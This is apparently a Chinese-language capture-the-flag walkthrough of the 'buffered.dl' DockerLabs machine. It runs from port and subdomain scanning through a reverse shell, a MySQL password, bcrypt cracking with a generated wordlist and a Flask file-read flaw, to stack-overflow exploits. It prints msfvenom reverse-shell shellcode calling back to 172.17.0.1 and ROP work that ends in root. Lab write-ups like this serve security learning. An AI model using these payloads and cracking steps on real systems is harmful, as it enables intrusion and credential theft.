❯ export ip=172.17.0.2 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blg : : https://github.com/RustScan/RustScan : -------------------------------------- Nmap? More like slowmap.🐢 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 172.17.0.2:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-14 21:07 CST Initiating ARP Ping Scan at 21:07 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 21:07, 0.08s elapsed (1 total hosts) Initiating SYN Stealth Scan at 21:07 Scanning buffered.dl (172.17.0.2) [1 port] Discovered open port 80/tcp on 172.17.0.2 Completed SYN Stealth Scan at 21:07, 0.04s elapsed (1 total ports) Nmap scan report for buffered.dl (172.17.0.2) Host is up, received arp-response (0.000077s latency). Scanned at 2025-05-14 21:07:34 CST for 0s
PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds Raw packets sent: 2 (72B) | Rcvd: 2 (72B)
只要80端口开放
浏览器访问一下，发现跳转到http://buffered.dl/
编辑hosts，添加域名
1 2 3
❯ echo"$ip buffered.dl"|sudotee -a /etc/hosts [sudo] password for Pepster: 172.17.0.2 buffered.dl
❯ wfuzz -c -u "http://buffered.dl/" -H "HOST:FUZZ.buffered.dl" -H "User-Agent:Mozilla/5.0" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 2531 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://buffered.dl/ Total requests: 114441 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000516: 200 128 L 414 W 5666 Ch "dashboard - dashboard"
❯ penelope.py [+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 • 172.17.0.1 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from bash: grep: command not found 4bbe8f4bb57e-172.17.0.2-Linux-x86_64 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [-] Cannot get the TTY of the shell. Response: bash: tty: command not found [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/bash: grep: command not found 4bbe8f4bb57e~172.17.0.2_Linux_x86_64/2025_05_14-22_06_08-366.log 📜 ─────────────────────────────────────────────────────────────────────────── bash: groups: command not found wilson@4bbe8f4bb57e:~$
卧槽，不知道为什么我输入id或者其他命令会出现一个表情包
我看了一下也没有设置alias，并且在这个shell中怎么不能按方向键输历史命令
原来.bashrc中设置了禁用histroy功能，修改后重新source即可，哎呀，咋还是不行
1 2 3 4 5 6 7 8 9 10 11
wilson@4bbe8f4bb57e:~$ tail .bashrc # sources /etc/bash.bashrc). if ! shopt -oq posix; then if [ -f /usr/share/bash-completion/bash_completion ]; then . /usr/share/bash-completion/bash_completion elif [ -f /etc/bash_completion ]; then . /etc/bash_completion fi fi set +o history set +o vi
wilson@4bbe8f4bb57e:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin wilson@4bbe8f4bb57e:~$ curl curl: try 'curl --help' or 'curl --manual'for more information
wilson@4fc0d11ec931:~/dashboard$ mysql -h 127.0.0.1 -u db_manager -pHeig9At, mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 27 Server version: 8.0.39-0ubuntu0.24.04.1 (Ubuntu)
Copyright (c) 2000, 2024, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
mysql> use myflaskapp; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
wilson@4fc0d11ec931:~/dashboard$ ls -al total 36 drwxr-xr-x 4 wilson wilson 4096 Jul 31 2024 . drwxr-x--- 1 wilson wilson 4096 Aug 2 2024 .. -rw-rw-r-- 1 wilson wilson 496 Jul 31 2024 .pwgen.py -rwxr-xr-x 1 wilson wilson 14594 Jul 31 2024 app.py drwxr-xr-x 7 wilson wilson 4096 Jul 20 2024 static drwxr-xr-x 3 wilson wilson 4096 Jul 30 2024 templates wilson@4fc0d11ec931:~/dashboard$ cat .pwgen.py import random
def generate_password(): first_name = input("Enter your first name: ") last_name = input("Enter your last name: ") password = f"{first_name[0].lower()}.{last_name.lower()}@buffered_" number = random.randint(0, 999999) formatted_number = f"{number:06d}"# add padding to the left; i.e. 000001 password += formatted_number return password
# Generate the password generated_password = generate_password() print("Generated password:", generated_password)
有点像CUPP工具，我们可以利用人名来生成密码，尝试生成christine
从之前的80端口中得知christine的lastname为Ross
得到密码c.ross@buffered_xxxxxx
后面是随机的六位密码
1 2 3 4 5 6 7 8
wilson@4fc0d11ec931:~/dashboard$ python3 .pwgen.py Enter your first name: Christine Enter your last name: Ross Generated password: c.ross@buffered_032838 wilson@4fc0d11ec931:~/dashboard$ python3 .pwgen.py Enter your first name: Christine Enter your last name: Ross Generated password: c.ross@buffered_997880
所以尝试利用python生成字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import sys
defgenerate_dictionary(output_file): withopen(output_file, 'w') as f: for i inrange(0, 1000000): # 覆盖 000000 到 999999 # 格式化为6位数字，不足补零 num_str = f"{i:06d}" f.write(f"c.ross@buffered_{num_str}\n")
❯ python3 generate_dict.py dic.txt ❯ john hash --wordlist=dic.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status c.ross@buffered_001337 (?) 1g 0:00:00:03 DONE (2025-05-14 23:36) 0.2666g/s 364.8p/s 364.8c/s 364.8C/s c.ross@buffered_001296..c.ross@buffered_001367 Use the "--show" option to display all of the cracked passwords reliably Session completed.
defget_user(username): conn = mysql.connector.connect(**db_config) cursor = conn.cursor(dictionary=True) cursor.execute("SELECT * FROM users WHERE username = %s", (username,)) user = cursor.fetchone() cursor.close() conn.close() return user
@app.route('/generate_report', methods=['POST']) defgenerate_report(): # Get the filename from the form data or default to 'logins.txt' filename = request.form.get('report', 'logins.txt')
# Directly construct the file path (making it vulnerable to LFI) filepath = os.path.join('.', filename)
print(f"Generated file path: {filepath}")
# Check if the file exists if os.path.exists(filepath): return send_file(filepath, as_attachment=True) # Sends the file as an attachment else: abort(404) # Return 404 if the file does not exist
@app.route('/', methods=['GET', 'POST']) deflogin(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] user = get_user(username)
if user and pwd_context.verify(password, user['password']): session['logged_in'] = True session['user_id'] = user['id'] flash('Login successful!') withopen('/home/christine/.site/APP_3411/logins.txt', 'a') as log_file: log_file.write(f"[+] Successful login attempt by user: {username} from IP: {request.remote_addr}\n") return redirect(url_for('dashboard')) else: flash('Invalid credentials. Please try again.') withopen('/home/christine/.site/APP_3411/logins.txt', 'a') as log_file: log_file.write(f"[!] Unsuccessful login attempt by user: {username} from IP: {request.remote_addr}\n")
christine@c97d11830a6f:/tmp/toolkit-apcMhgmr$ ./busybox nc 127.0.0.1 9000 ⠀⣁⠒⣠⣌⢓⡙⣿⣿⡁⠨⢉⣐⠢⣸⣿⣿⣿⣿⣾⣿⣷⣾⣿⣯⣿⣿⣿⣿⣇⠂⣂⡋⠥⠊⣿⣿⢏⡞⣫⣄⠐⢀⡀ ⣠⣶⣿⣿⣿⠌⠷⠹⣿⡿⡠⢘⣫⣾⣿⣿⣿⡿⢛⣫⣭⡶⠶⣭⣍⡛⢿⣿⣿⣿⣿⣝⡁⢄⢺⣿⠿⠼⠅⣿⣿⣿⣶⣦ ⣿⣿⣿⣿⡿⡘⣱⣟⡂⠜⣴⣿⣿⣿⣿⡿⣩⣎⣿⣟⢪⢇⡰⣗⣿⣿⣇⣌⠻⣿⣿⣿⣿⣦⠳⢒⣿⣎⢃⢿⣿⣿⣿⣿ ⣿⣿⣿⣿⠣⠰⣾⡶⠉⣼⣿⣿⣿⣿⢏⣾⡿⢿⣿⣮⢘⣆⠱⡂⣵⣿⣿⢿⣷⡙⣿⣿⣿⣿⣧⠫⢶⣷⠆⠜⣿⣿⢿⣿ ⢿⣯⣪⣿⡄⢘⣽⣭⡆⣿⣿⣿⣿⡟⣼⣿⣷⢾⠳⠟⣹⢿⡶⣿⠻⠾⣻⣿⣿⣧⢹⣿⣿⣿⣿⢸⣭⣯⡇⢢⣿⣯⢪⣿ ⢌⢿⣿⣿⣷⡈⢵⢿⣗⡸⣿⣿⣿⡇⠛⣿⡓⠁⢀⣀⡀⠈⠉⠀⣀⡀⠀⢩⡟⠋⢸⣿⣿⣿⢇⣺⡿⡮⢁⣾⣿⣿⣿⢏ ⠹⣆⡛⢿⣿⣿⡄⢋⡏⠷⣈⠻⣿⣷⡀⣿⠇⠀⢾⣿⡿⠀⠀⢸⣿⡿⠀⢸⡀⠀⣼⣿⠟⣁⡺⢩⣝⢠⣾⣿⣿⠟⣁⢮ ⣄⠈⠊⣢⡼⡶⣶⣿⣧⣦⡁⢋⠖⡭⢡⠄⠞⠄⣄⠈⠀⠀⠀⠀⠈⣀⡄⠢⠁⡌⢭⡲⡝⠊⣠⣮⣿⣶⡶⡲⣤⡛⠊⠂ ⣭⡅⢺⣿⣇⣁⣼⣿⣶⣿⣷⡀⠘⠀⢥⣄⠀⠀⠋⠀⢿⠀⠀⢾⠀⠸⠁⠀⡀⣘⡁⠁⢀⣾⣿⣷⣿⣿⣌⣁⣿⣿⠃⣬ ⢛⣡⣟⣿⣿⣏⣎⣿⡿⢿⣯⣷⢹⣆⠉⠻⣯⣖⣤⠄⣈⣀⣀⣀⠠⣤⣲⣼⠟⠁⢠⡟⡼⣭⣿⢿⣿⣯⣏⣿⣿⣟⣧⣙ ⣿⣻⣿⣿⣻⣟⣷⣿⣿⣷⣶⢸⢸⣿⣿⣆⡄⡉⠛⠻⠿⠹⠏⠽⠛⠛⢉⢠⣰⣶⣿⣇⠇⢶⣾⣿⣿⣿⣿⣿⣻⣿⣿⣻ ⢯⣽⣾⡟⣿⣿⣻⠱⣥⢸⠀⢀⣺⣿⢿⣷⣕⣹⣾⣧⣴⣶⣶⣦⣴⣷⣯⣨⢾⣿⣿⣿⡄⠈⠉⢮⡷⡋⣿⣿⣟⢿⣿⣭ ⠧⡞⠩⠅⣚⣛⠃⢐⣒⠠⠂⣬⣿⡿⠾⢷⣿⣿⣿⣿⡿⣟⣛⢿⣿⣿⣿⣿⣿⠷⢿⣿⡶⠐⠨⢒⡒⠑⢛⣛⡓⠭⢑⢢ ⣠⣤⣀⡀⠀⠀⠀⠀⠀⠀⠸⣿⣯⢪⣿⡵⣽⣿⣿⣽⡜⣾⣷⢱⢫⣿⣿⡟⡟⣽⣝⡞⣿⣆⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤ ⣩⣉⣓⠻⠿⡖⠠⠄⠀⠀⠴⣿⣏⢮⣉⡵⣻⣿⣿⣿⣾⣢⣴⣪⣿⣿⣿⣧⡣⣙⡡⣣⣿⣆⠀⠀⠀⠤⠐⣲⠿⢛⣊⣉ ⣛⣛⠺⢿⣶⡤⣀⠀⠀⠀⠈⢿⠟⣿⣶⣯⢿⣟⡻⠿⠭⠭⠭⠭⠿⠟⣻⡿⢵⣷⣿⠻⢻⠃⠀⠀⠀⢀⡠⢴⣾⠿⢒⣛ ⡕⡪⢝⢶⡬⡉⠀⠀⠀⠀⠀⢀⡙⠏⠓⠈⣁⣀⣤⣤⣤⣤⣤⣤⣤⣀⣀⣈⠉⠚⠩⢟⡁⠀⢀⠀⠀⠁⠀⡩⣴⢾⡫⣕ [ B u f f e r b o t ]
ret2shellcode
检查程序保护措施，32位并且No Canary即没有开启栈保护，可以覆盖返回地址
并且No PIE即代码段基地址固定，可预测
1 2 3 4 5 6 7 8 9 10
❯ checksec bufferbot [*] '/mnt/c/Users/maple/Desktop/tmp/bufferbot' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
我们先放到本地运行一下，尝试有无栈溢出漏洞
1 2 3 4 5
❯ ./bufferbot Server is listening on port 9000 ------------------------ # 另一个tty终端中 ❯ python3 -c "from pwn import *; print(cyclic(3000))"|nc 127.0.0.1 9000
运行后立刻奔溃了，存在栈溢出漏洞
1 2 3 4
❯ ./bufferbot Server is listening on port 9000 Buffer content: b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaul [1] 1613850 segmentation fault ./bufferbot
❯ gdb -q bufferbot pwndbg: loaded 188 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list. pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break) Reading symbols from bufferbot... (No debugging symbols found in bufferbot) ------- tip of the day (disable with set show-tips off) ------- Use GDB's pi command to run an interactive Python console where you can use Pwndbg APIs like pwndbg.aglib.memory.read(addr, len), pwndbg.aglib.memory.write(addr, data), pwndbg.aglib.vmmap.get() and so on! pwndbg> run Starting program: /mnt/c/Users/maple/Desktop/tmp/bufferbot [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Server is listening on port 9000 Buffer content: b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaul
Program received signal SIGSEGV, Segmentation fault. 0x61616a6e in ?? () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ──────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────── EAX 0x810 EBX 0x6161686e ('nhaa') ECX 0 EDX 0 EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0 ESI 0x804bf04 (__do_global_dtors_aux_fini_array_entry) —▸ 0x8049210 (__do_global_dtors_aux) ◂— endbr32 EBP 0x6161696e ('niaa') ESP 0xffffc730 ◂— 0x61616b6e ('nkaa') EIP 0x61616a6e ('njaa') ────────────────────[ DISASM / i386 / setemulate on ]───────────────────── Invalid address 0x61616a6e
❯ msfvenom -p linux/x86/shell_reverse_tcp --platform linux -a x86 LHOST=172.17.0.1 LPORT=4444 -f c -e x86/shikata_ga_nai EXITFUNC=thread Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes Final size of c file: 425 bytes unsigned char buf[] = "\xdd\xc5\xd9\x74\x24\xf4\x58\xbe\x7a\x3f\xe4\xbc\x29\xc9" "\xb1\x12\x31\x70\x17\x83\xe8\xfc\x03\x0a\x2c\x06\x49\xdb" "\x89\x31\x51\x48\x6d\xed\xfc\x6c\xf8\xf0\xb1\x16\x37\x72" "\x22\x8f\x77\x4c\x88\xaf\x31\xca\xeb\xc7\x6d\x3d\x0c\x16" "\x06\x3c\x0c\x09\x8a\xc9\xed\x99\x54\x9a\xbc\x8a\x2b\x19" "\xb6\xcd\x81\x9e\x9a\x65\x74\xb0\x69\x1d\xe0\xe1\xa2\xbf" "\x99\x74\x5f\x6d\x09\x0e\x41\x21\xa6\xdd\x02";
(Penelope)─(Session [6])> download ~/shell [+] Download OK '/home/Pepster/.penelope/395d88ede39f~172.17.0.2_Linux_x86_64/downloads/home/tyler/shell'
ROP
如法炮制，再次检查程序保护情况
开启了NX，意味着堆栈不可执行，攻击需转向 代码复用技术如 ROP 或 ret2libc
1 2 3 4 5 6 7 8
❯ checksec shell [*] '/mnt/c/Users/maple/Desktop/tmp/shell' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
❯ sudo su [sudo] password for Pepster: ┌──(root㉿primary)-[/home/Pepster/dockerlabs] └─# pwndbg -q shell Reading symbols from shell... (No debugging symbols found in shell) pwndbg: loaded 188 pwndbg commands and 43 shell commands. Type pwndbg [--shell | --all] [filter] for a list. pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break) ------- tip of the day (disable with set show-tips off) ------- Use the spray command to spray memory with cyclic pattern or specified value pwndbg> set follow-fork-mode parent # 只跟踪父进程 pwndbg> set detach-on-fork on # 自动分离子进程 pwndbg> cyclic 300 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa pwndbg> r Starting program: /home/Pepster/dockerlabs/shell [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄ ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⣤⡾⠻⠫⣦⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄ ⠄⠄⠄⠄⠄⠄⠄⢀⣰⡲⡿⢳⣦⡀⠄⠄⠸⠉⠇⠄⢀⣾⡃⠄⠄⠄⣠⣦⡿⣷⣤⡀⠄⠄⠄⠄⠄⠄⠄⠄ ⠄⠄⠄⠄⠄⠄⠄⠸⠯⠁⠄⠈⣗⡃⠄⠄⠠⠒⠄⣠⡺⠎⠁⠄⠄⢘⣳⠃⠄⠈⠭⠷⠄⠄⠄⠄⠄⠄⠄⠄ ⠄⠄⠄⠄⠄⠄⠄⠄⠒⢶⠄⢠⣽⢣⣄⠄⠄⢠⣶⠋⢠⡀⠄⠄⢀⣄⢯⣄⠄⠰⠖⠂⠄⠄⠄⠄⠄⠄⠄⠄ ⠄⠄⠄⢀⣆⢶⢰⣄⠄⢁⢢⠶⠁⠃⢻⢷⠄⣶⡏⠄⠩⣿⠄⣸⠎⠋⠈⠷⡄⢏⠁⡠⣶⣶⣶⣄⠄⠄⠄⠄ ⠄⠄⠄⢶⢏⠤⡀⣼⠄⠁⣼⡏⢰⣦⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠄⣶⢸⣷⠄⠄⣿⠄⡠⢬⡶⠄⠄⠄⠄ ⠄⠄⠄⠄⡁⠩⡃⢻⠄⠄⠹⣇⢸⣿⠄⠄⣠⠤⠄⠄⠄⠠⣤⠄⠄⠄⣿⡸⡏⠄⠄⡿⠘⢌⢃⠁⠄⠄⠄⠄ ⠄⠄⠄⠄⡀⣀⡀⠈⢷⡄⡄⣠⢸⣿⠄⠄⢿⣌⠐⠄⠰⢈⣼⠇⠄⠄⣿⣌⣀⣤⡜⠋⢀⣀⣀⡀⠄⠄⠄⠄ ⠄⠄⠠⠬⠛⠘⠻⣦⠄⠈⠁⣡⢸⣿⠄⠈⣄⣀⢀⡀⣀⢀⢀⠆⠄⠄⣿⣌⠉⠁⠄⣔⡟⠛⠛⠯⠄⠄⠄⠄ ⠄⠄⡈⠲⠁⠄⠄⢺⣣⢰⡼⠏⢸⣿⠄⠄⠈⠟⢸⡇⡿⠘⠈⠄⠄⠄⣿⢓⡟⣶⣶⡛⠂⠄⠸⠖⠪⠄⠄⠄ ⠄⠄⢇⠉⠄⠄⠄⠄⠈⢈⣁⣀⢸⣿⣶⣶⣶⣶⣶⣶⢶⡶⣶⣶⣶⡶⣿⡀⣀⡉⠈⠄⠄⠄⠄⠋⠄⠄⠄⠄ ⠄⠄⠈⣐⡻⠹⠷⠄⠰⡟⠘⠋⠄⠄⣀⡠⠠⢤⠄⠤⠄⣤⠤⠄⣀⠄⠄⠁⠙⢛⡷⠄⠴⠟⢾⣂⠄⠄⠄⠄ ⠄⠄⠄⣭⡇⠄⠅⢀⢛⠂⠄⣠⣤⢶⡿⠂⢨⣳⠄⣻⡃⢚⣧⠄⠚⣵⣠⣄⡀⠄⣻⡃⡻⡀⠄⣭⡇⠄⠄⠄ ⠄⠄⠄⠹⣾⣄⣤⡼⡓⢀⣾⠏⠉⠄⣀⣠⡺⡍⠄⣽⡅⠸⡿⣦⢀⠄⠈⠩⣷⡄⠸⡫⣠⡤⣶⠊⠄⠄⠄⠄ ⠄⠄⠄⠄⠈⢠⡍⠉⠄⠐⣭⡤⣴⢿⡭⣯⣥⣤⣤⢯⢤⣤⡤⣭⡬⣽⢷⣤⡭⠱⠄⠄⢩⠁⠁⠄⠄⠄⠄⠄ ⠄⠄⠄⠄⠄⠄⠁⠄⠄⣜⣾⠭⠍⠬⠡⠍⠬⠅⠭⠨⠨⠨⠅⠍⠥⠩⠌⠥⢻⡽⡀⠄⠈⠄⠄⠄⠄⠄⠄⠄ ⠄⠄⠄⠄⠄⠄⠄⠄⡜⣾⠣⠍⠭⠡⠭⠨⠭⠥⠭⠬⠬⠬⡁⠥⠩⠍⠭⠩⠝⣿⡱⡀⠄⠄⠄⠄⠄⠄⠄⠄ ⠄⠄⠄⠄⠄⠄⠄⠨⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠵⠄⠄⠄⠄⠄⠄⠄⠄ ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄ [Detaching after vfork from child process 1845880] Fri May 16 09:00:46 PM CST 2025 # aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa [!] YOU GOT R007 - C0NGR47ULA710N5 [!]
